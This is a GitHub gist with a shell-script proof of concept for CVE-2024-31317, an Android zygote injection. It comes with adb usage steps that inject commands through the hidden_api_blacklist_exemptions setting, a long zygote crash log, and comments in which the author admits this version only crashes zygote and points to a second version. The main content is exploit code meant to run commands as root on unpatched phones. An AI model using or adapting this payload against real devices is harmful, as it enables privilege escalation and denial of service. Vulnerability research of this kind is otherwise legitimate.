Skip to content

Instantly share code, notes, and snippets.

@rabits
Created July 3, 2024 03:40
Show Gist options
  • Select an option

  • Save rabits/eef4fad0bd024786a3afde2bc1f32b7e to your computer and use it in GitHub Desktop.

Select an option

Save rabits/eef4fad0bd024786a3afde2bc1f32b7e to your computer and use it in GitHub Desktop.
CVE-2024-31317 PoC 1
#!/bin/sh
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
#
# Tested on honor-magic-v2_ver-n49; Build 7.2.0.108(C636E1R2P2); Sec patch Dec 1, 2023
#
# USAGE (android 13, with pre-13 use 12200 instead of 32768)
# host$ adb push payload.sh /sdcard/
# host$ adb shell
# shell$ settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 sh -c 'sleep 200')"
# [disconnect (zygote crash)]
# host$ adb shell
# shell$ ps -A | grep sleep
# root 480 2 0 0 0 0 S [adspsleepmon-wo]
# root 20055 19988 11122152 3792 0 0 S sleep
buffer_size=$1
shift
zygote_read_abort_size=$1
shift
cmd_len=$#
cmd="$1"
shift
prefix="6 --set-api-denylist-exemptions "
prefix_len=$(echo -n "$prefix" | wc -c)
add_chars=$(($buffer_size - $prefix_len - 1))
payload=$(printf "\n\n\n\n\n%${add_chars}s" $cmd_len | tr ' ' A)
echo
for arg in "$@"; do
payload="$payload\n$(echo "$arg")"
done
payload="$payload\n$(echo "$cmd")"
echo "$payload"
payload_len=$(echo "$payload" | wc -c)
add_chars=$(($zygote_read_abort_size - ($prefix_len + $payload_len)))
printf "%${add_chars}s" ',' | tr ' ' ','
echo X
@rabits
Copy link
Author

rabits commented Jul 6, 2024

Incorrect one, just causing zygote and settings to crash:

06-12 00:43:54.159  1398  1398 F libc    : Fatal signal 6 (SIGABRT), code -1 (SI_QUEUE) in tid 1398 (main), pid 1398 (main)
06-12 00:43:54.218 10680 10680 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstoneProto
06-12 00:43:54.220  1233  1233 I tombstoned: received crash request for pid 1398
06-12 00:43:54.221 10680 10680 I crash_dump64: performing dump of process 1398 (target tid = 1398)
06-12 00:43:54.268  1583 10230 I QC2Comp : [avcD_27] Stats: Pending(0) i/p-done(0) Works: Q: 2/Done 2|Work-Rate: Q(0.0/s Avg=0.0/s) Done(0.000/s Avg=0.009/s)| Stream: 30.00fps 0.0Kbps
06-12 00:43:54.268  1583 10230 I QC2Comp : [avcD_27] Mem-usage:  [In-1D: 2 bufs 13.500 MB] [1D-25: 2 bufs 0.031 MB] | Total: 13.531 MB
06-12 00:43:54.273  1499  2520 D vui_dmgr_client: start: before read
06-12 00:43:54.273  1499  2520 E vui_dmgr_client: start: Going to connect.
06-12 00:43:54.274  1499  2520 E vui_dmgr_client: start: failed to connect to server -1:Connection refused, retry
06-12 00:43:54.293  2125  3344 E SettingsState: Failed to write settings, restoring backup
06-12 00:43:54.293  2125  3344 E SettingsState: java.io.IOException: Modified UTF-8 length too large: -87284
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.internal.util.FastDataOutput.writeUTF(FastDataOutput.java:167)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.internal.util.BinaryXmlSerializer.attribute(BinaryXmlSerializer.java:209)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.providers.settings.SettingsState.setValueAttribute(SettingsState.java:991)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.providers.settings.SettingsState.writeSingleSetting(SettingsState.java:968)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.providers.settings.SettingsState.doWriteState(SettingsState.java:853)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.providers.settings.SettingsState.-$$Nest$mdoWriteState(Unknown Source:0)
06-12 00:43:54.293  2125  3344 E SettingsState:     at com.android.providers.settings.SettingsState$MyHandler.handleMessage(SettingsState.java:1244)
06-12 00:43:54.293  2125  3344 E SettingsState:     at android.os.Handler.dispatchMessage(Handler.java:114)
06-12 00:43:54.293  2125  3344 E SettingsState:     at android.os.Looper.loopOnce(Looper.java:206)
06-12 00:43:54.293  2125  3344 E SettingsState:     at android.os.Looper.loop(Looper.java:296)
06-12 00:43:54.293  2125  3344 E SettingsState:     at android.os.HandlerThread.run(HandlerThread.java:67)
06-12 00:43:54.415 10680 10680 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 00:43:54.415 10680 10680 F DEBUG   : Build fingerprint: 'HONOR/VER-N49/HNVER:13/HONORVER-N49/7.2.0.108C636E1R2P2:user/release-keys'
06-12 00:43:54.416 10680 10680 F DEBUG   : Revision: '0'
06-12 00:43:54.416 10680 10680 F DEBUG   : ABI: 'arm64'
06-12 00:43:54.416 10680 10680 F DEBUG   : Timestamp: 2024-06-12 00:43:54.226568266-0400
06-12 00:43:54.416 10680 10680 F DEBUG   : Process uptime: 579s
06-12 00:43:54.416 10680 10680 F DEBUG   : Cmdline: zygote64
06-12 00:43:54.416 10680 10680 F DEBUG   : pid: 1398, tid: 1398, name: main  >>> zygote64 <<<
06-12 00:43:54.416 10680 10680 F DEBUG   : uid: 0
06-12 00:43:54.416 10680 10680 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 00:43:54.416 10680 10680 F DEBUG   : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
06-12 00:43:54.416 10680 10680 F DEBUG   : signal 6 (SIGABRT), code -1 (SI_QUEUE), fault addr --------
06-12 00:43:54.416 10680 10680 F DEBUG   : Abort message: 'JNI FatalError called: (zygote) frameworks/base/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp:140: Unreasonable argument count 24553'
06-12 00:43:54.416 10680 10680 F DEBUG   :     x0  0000000000000000  x1  0000000000000576  x2  0000000000000006  x3  0000007ff660bae0
06-12 00:43:54.416 10680 10680 F DEBUG   :     x4  626f1f3830221f39  x5  626f1f3830221f39  x6  626f1f3830221f39  x7  7f7f7f7f7f7f7f7f
06-12 00:43:54.416 10680 10680 F DEBUG   :     x8  00000000000000f0  x9  0000007cb3266398  x10 0000000000000001  x11 0000007cb32a65b8
06-12 00:43:54.416 10680 10680 F DEBUG   :     x12 0000000000007252  x13 0000000000000034  x14 000000000002fae8  x15 00000002a5a97626
06-12 00:43:54.416 10680 10680 F DEBUG   :     x16 0000007cb330af88  x17 0000007cb32e8450  x18 0000007cbbce8000  x19 0000000000000576
06-12 00:43:54.416 10680 10680 F DEBUG   :     x20 0000000000000576  x21 00000000ffffffff  x22 b400007a8c5c13d0  x23 00000079dcaa3fbe
06-12 00:43:54.416 10680 10680 F DEBUG   :     x24 0000000000000004  x25 0000000000000001  x26 0000000000000000  x27 00000079dd616000
06-12 00:43:54.416 10680 10680 F DEBUG   :     x28 b400007a00588e40  x29 0000007ff660bb60
06-12 00:43:54.416 10680 10680 F DEBUG   :     lr  0000007cb3298044  sp  0000007ff660bac0  pc  0000007cb3298070  pst 0000000000001000
06-12 00:43:54.416 10680 10680 F DEBUG   : backtrace:
06-12 00:43:54.416 10680 10680 F DEBUG   :       #00 pc 0000000000054070  /apex/com.android.runtime/lib64/bionic/libc.so (abort+164) (BuildId: 25eadd32a5b6753e7e58e01ae8014530)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #01 pc 00000000007716f0  /apex/com.android.art/lib64/libart.so (art::Runtime::Abort(char const*)+904) (BuildId: 4cfdaa9e5146c43e20ae36ee1caf9b7f)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #02 pc 00000000000357d0  /apex/com.google.mainline.primary.libs@341050000/lib64/libbase.so/75d3253827fcfd7a8d7b02ad45991611ec4ca424c0278e13e8acfad4d14e597a3ecff6c0caa2b785c73838528ee6e9c2b313240ff895f50ee39b1d7bc10f390a/libbase.so (android::base::SetAborter(std::__1::function<void (char const*)>&&)::$_0::__invoke(char const*)+80) (BuildId: 6f67f69ff36b970d0b831cfdab3b578d)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #03 pc 0000000000034d58  /apex/com.google.mainline.primary.libs@341050000/lib64/libbase.so/75d3253827fcfd7a8d7b02ad45991611ec4ca424c0278e13e8acfad4d14e597a3ecff6c0caa2b785c73838528ee6e9c2b313240ff895f50ee39b1d7bc10f390a/libbase.so (android::base::LogMessage::~LogMessage()+352) (BuildId: 6f67f69ff36b970d0b831cfdab3b578d)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #04 pc 00000000006c8f6c  /apex/com.android.art/lib64/libart.so (art::JNI<true>::FatalError(_JNIEnv*, char const*)+196) (BuildId: 4cfdaa9e5146c43e20ae36ee1caf9b7f)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #05 pc 000000000021e878  /system/lib64/libandroid_runtime.so (android::zygote::ZygoteFailure(_JNIEnv*, char const*, _jstring*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)+208) (BuildId: b4a2b211ab76c4e103ef5014a1da60ae)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #06 pc 000000000022cfa4  /system/lib64/libandroid_runtime.so (int android::NativeCommandBuffer::getCount<std::__1::__bind<void (&)(_JNIEnv*, char const*, _jstring*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), _JNIEnv*&, char const (&) [7], std::nullptr_t, std::__1::placeholders::__ph<1> const&> >(std::__1::__bind<void (&)(_JNIEnv*, char const*, _jstring*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), _JNIEnv*&, char const (&) [7], std::nullptr_t, std::__1::placeholders::__ph<1> const&>)+216) (BuildId: b4a2b211ab76c4e103ef5014a1da60ae)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #07 pc 000000000022c8a8  /system/lib64/libandroid_runtime.so (android::com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(_JNIEnv*, _jclass*, long, int, int, int, _jstring*)+1228) (BuildId: b4a2b211ab76c4e103ef5014a1da60ae)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #08 pc 000000000024f1b0  /system/framework/arm64/boot-framework.oat (art_jni_trampoline+144) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #09 pc 00000000008f962c  /system/framework/arm64/boot-framework.oat (com.android.internal.os.ZygoteCommandBuffer.forkRepeatedly+92) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #10 pc 00000000008f6840  /system/framework/arm64/boot-framework.oat (com.android.internal.os.Zygote.forkSimpleApps+48) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #11 pc 00000000008fb2c8  /system/framework/arm64/boot-framework.oat (com.android.internal.os.ZygoteConnection.processCommand+1160) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #12 pc 0000000000902420  /system/framework/arm64/boot-framework.oat (com.android.internal.os.ZygoteServer.runSelectLoop+2096) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #13 pc 00000000008fdecc  /system/framework/arm64/boot-framework.oat (com.android.internal.os.ZygoteInit.main+3468) (BuildId: 8e6dde0f0c1a7a8b7cdbfec0ad2187f2611e0f12)
06-12 00:43:54.416 10680 10680 F DEBUG   :       #14 pc 0000000000334280  /apex/com.android.art/lib64/libart.so (art_quick_invoke_static_stub+640) (BuildId: 4cfdaa9e5146c43e20ae36ee1caf9b7f)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #15 pc 00000000004e4298  /apex/com.android.art/lib64/libart.so (art::JValue art::InvokeWithVarArgs<_jmethodID*>(art::ScopedObjectAccessAlreadyRunnable const&, _jobject*, _jmethodID*, std::__va_list)+728) (BuildId: 4cfdaa9e5146c43e20ae36ee1caf9b7f)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #16 pc 00000000005804e4  /apex/com.android.art/lib64/libart.so (art::JNI<true>::CallStaticVoidMethodV(_JNIEnv*, _jclass*, _jmethodID*, std::__va_list)+156) (BuildId: 4cfdaa9e5146c43e20ae36ee1caf9b7f)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #17 pc 00000000000f5c64  /system/lib64/libandroid_runtime.so (_JNIEnv::CallStaticVoidMethod(_jclass*, _jmethodID*, ...)+120) (BuildId: b4a2b211ab76c4e103ef5014a1da60ae)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #18 pc 0000000000102c28  /system/lib64/libandroid_runtime.so (android::AndroidRuntime::start(char const*, android::Vector<android::String8> const&, bool)+1212) (BuildId: b4a2b211ab76c4e103ef5014a1da60ae)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #19 pc 0000000000002554  /system/bin/app_process64 (main+1280) (BuildId: 246fb653511f14666e347659bea54084)
06-12 00:43:54.417 10680 10680 F DEBUG   :       #20 pc 000000000004be28  /apex/com.android.runtime/lib64/bionic/libc.so (__libc_init+96) (BuildId: 25eadd32a5b6753e7e58e01ae8014530)
06-12 00:43:54.429  2125  3888 W NativeCrashListener: Couldn't find ProcessRecord for pid 1398
06-12 00:43:54.429 10680 10680 E crash_dump64: AM data write failed: Broken pipe
06-12 00:43:54.430  1233  1233 E tombstoned: Tombstone written to: tombstone_20
06-12 00:43:54.448  2125  2244 E ZygoteProcess: Failed to set API denylist exemptions
06-12 00:43:54.448  2125  2244 E ZygoteProcess: java.io.IOException: Connection reset by peer
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.net.LocalSocketImpl.readba_native(Native Method)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.net.LocalSocketImpl.-$$Nest$mreadba_native(Unknown Source:0)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.net.LocalSocketImpl$SocketInputStream.read(LocalSocketImpl.java:110)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at java.io.DataInputStream.readFully(DataInputStream.java:203)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at java.io.DataInputStream.readInt(DataInputStream.java:394)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.ZygoteProcess.maybeSetApiDenylistExemptions(ZygoteProcess.java:1065)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.ZygoteProcess.setApiDenylistExemptions(ZygoteProcess.java:1008)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at com.android.server.am.ActivityManagerService$HiddenApiSettings.update(ActivityManagerService.java:2465)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at com.android.server.am.ActivityManagerService$HiddenApiSettings.onChange(ActivityManagerService.java:2493)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.onChange(ContentObserver.java:154)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.onChange(ContentObserver.java:170)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.onChange(ContentObserver.java:188)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.onChange(ContentObserver.java:210)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.onChange(ContentObserver.java:222)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver.lambda$dispatchChange$0$android-database-ContentObserver(ContentObserver.java:304)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.database.ContentObserver$$ExternalSyntheticLambda0.run(Unknown Source:10)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.Handler.handleCallback(Handler.java:971)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.Handler.dispatchMessage(Handler.java:107)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.Looper.loopOnce(Looper.java:206)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.Looper.loop(Looper.java:296)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at android.os.HandlerThread.run(HandlerThread.java:67)
06-12 00:43:54.448  2125  2244 E ZygoteProcess:     at com.android.server.ServiceThread.run(ServiceThread.java:44)
06-12 00:43:54.448  2125  2244 E ActivityManager: Failed to set API blacklist exemptions!

@rabits
Copy link
Author

rabits commented Jul 13, 2024

@diabl0w
Copy link

diabl0w commented Sep 6, 2024

in the header of the script, you are showing that you got sleep running as uid 0, but your comment log shows that zygote aborts and crashes... does the sleep continue to run despite zygote crash that you are able to capture that ps? I ask because I am getting the same Unreasonable argument count 24553 error, but I am not getting the sleep process running

@rabits
Copy link
Author

rabits commented Sep 7, 2024

Hi @diabl0w , this the first iteration (PoC1) - works not as I expected. Better check the second one by the link above. In this one I thought that sh sleep is actually caused by my payload, but nope it's caused by some init scripts of android itself...

@diabl0w
Copy link

diabl0w commented Sep 7, 2024

Hi @diabl0w , this the first iteration (PoC1) - works not as I expected. Better check the second one by the link above. In this one I thought that sh sleep is actually caused by my payload, but nope it's caused by some init scripts of android itself...

Okay thanks for the clqrif8cation, I figured that mightve been the case... okay I'll have to try out the v2 and see what I could come up with

@rabits
Copy link
Author

rabits commented Sep 7, 2024

I think the issue is mostly in timings - so the legitimate app need to be transferred to zygote in the time of the imposter to get back to system to steal it's binding. But I was unable to get to this point...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment